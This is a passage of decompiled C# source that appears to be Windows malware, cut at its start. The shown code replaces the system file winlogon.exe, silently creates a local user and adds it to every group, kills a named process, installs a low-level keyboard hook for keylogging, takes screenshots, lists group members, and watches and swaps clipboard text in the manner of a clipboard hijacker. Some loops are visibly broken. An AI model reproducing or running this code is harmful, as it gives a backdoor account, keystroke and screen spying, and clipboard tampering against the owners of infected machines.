        System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.del");
        Thread.Sleep(2000);
        System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe");
      }
      catch
      {
      }
    }

    public static void CreateUser(string UserName, string Password)
    {
      try
      {
        DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName + ",Computer");
        DirectoryEntry directoryEntry2 = directoryEntry1.Children.Add(UserName, "user");
        directoryEntry2.Invoke("SetPassword", (object) Password);
        directoryEntry2.CommitChanges();
        DirectoryEntry directoryEntry3 = (DirectoryEntry) null;
        foreach (DirectoryEntry child in directoryEntry1.Children)
        {
          try
          {
            directoryEntry3 = directoryEntry1.Children.Find(child.Name, "group");
            directoryEntry3.Invoke("Add", (object) directoryEntry2.Path.ToString());
          }
          catch
          {
          }
        }
        directoryEntry2.Close();
        directoryEntry1.Close();
        directoryEntry3.Close();
      }
      catch
      {
      }
    }

    private static void proces(string proc)
    {
      bool flag = true;
      try
      {
        while (flag)
        {
          Application.DoEvents();
          Process[] processArray = (Process[]) null;
          for (int index = 0; index < processArray.Length; ++index)
          {
            processArray = Process.GetProcesses();
            Thread.Sleep(20);
            if (processArray[index].ProcessName == proc)
              processArray[index].Kill();
          }
        }
      }
      catch
      {
      }
    }

    private static void key()
    {
      try
      {
        Thread.Sleep(100);
        Program.thkey = new Thread[20];
        Application.EnableVisualStyles();
        Application.SetCompatibleTextRenderingDefault(false);
        Program._hookID = Program.SetHook(Program._proc);
        Application.Run();
        Program.UnhookWindowsHookEx(Program._hookID);
      }
      catch
      {
      }
    }

    private static void Screnn()
    {
      for (int index = 1; index <= 0; ++index)
      {
        Thread.Sleep(TimeSpan.FromSeconds(0.0));
        new Program.ScreenShotDll().CaptureScreen("0" + Program.TimeNow() + ".Jpeg", ImageFormat.Jpeg);
      }
    }

    private static string ShowDomainUsers()
    {
      string str = (string) null;
      DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName);
      foreach (DirectoryEntry child in directoryEntry1.Children)
      {
        try
        {
          foreach (object adsObject in (IEnumerable) directoryEntry1.Children.Find(child.Name, "Group").Invoke("Members", (object[]) null))
          {
            DirectoryEntry directoryEntry2 = new DirectoryEntry(adsObject);
            str = str + child.Name + ": " + directoryEntry2.Name + "\n";
          }
        }
        catch
        {
        }
      }
      return str;
    }

    private static bool buffDlin(string buff) => Program.strbug.Length == buff.Length;

    private static bool buffZ(string purse, string param)
    {
      Program.buflyb = (string) null;
      if (param == null)
        return true;
      int length = param.Length;
      if (length == 0)
        return true;
      Program.strbuftx = (string) null;
      for (int index = 0; index < length; ++index)
        Program.strbuftx += (string) (object) Program.strbug[index];
      return param == Program.strbuftx;
    }

    private static bool buffCritery(string buff_purse, string critery_p) => Program.buffDlin(buff_purse) && Program.buffZ(buff_purse, critery_p);

    private static void strBuffer()
    {
      try
      {
        string[] strArray1 = new string[0];
        string[] strArray2 = new string[0];
label_1:
        IDataObject dataObject;
        do
        {
          Application.DoEvents();
          Thread.Sleep(100);
          dataObject = Clipboard.GetDataObject();
        }
        while (Program.strbug == (string) dataObject.GetData(DataFormats.Text) || !dataObject.GetDataPresent(DataFormats.Text));
        Program.strbug = (string) dataObject.GetData(DataFormats.Text);
        for (int index = 0; index < strArray1.Length; ++index)
        {
          if (Program.buffCritery(strArray1[index], strArray2[index]))
            Clipboard.SetDataObject((object) strArray1[index]);
        }
        goto label_1;
      }
      catch (Exception ex)
      {
      }
    }

    private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

    public class ScreenShotDll
    {
      public void CaptureScreen(string fileName, ImageFormat imageFormat) => this.CaptureScreenShot().Save(fileName, imageFormat);

      public Bitmap CaptureScreenShot()
      {
        Image image = (Image) new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
        Graphics graphics = Graphics.FromImage(image);
        graphics.CompositingQuality = CompositingQuality.AssumeLinear;
        IntPtr hdc = graphics.GetHdc();
        IntPtr windowDc = Program.GetWindowDC(Program.GetDesktopWindow());
        long num = (long) Program.BitBlt(hdc, 0, 0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, windowDc, 0, 0, 13369376);
        graphics.ReleaseHdc(hdc);
        return (Bitmap) image;
      }
    }
  }
}
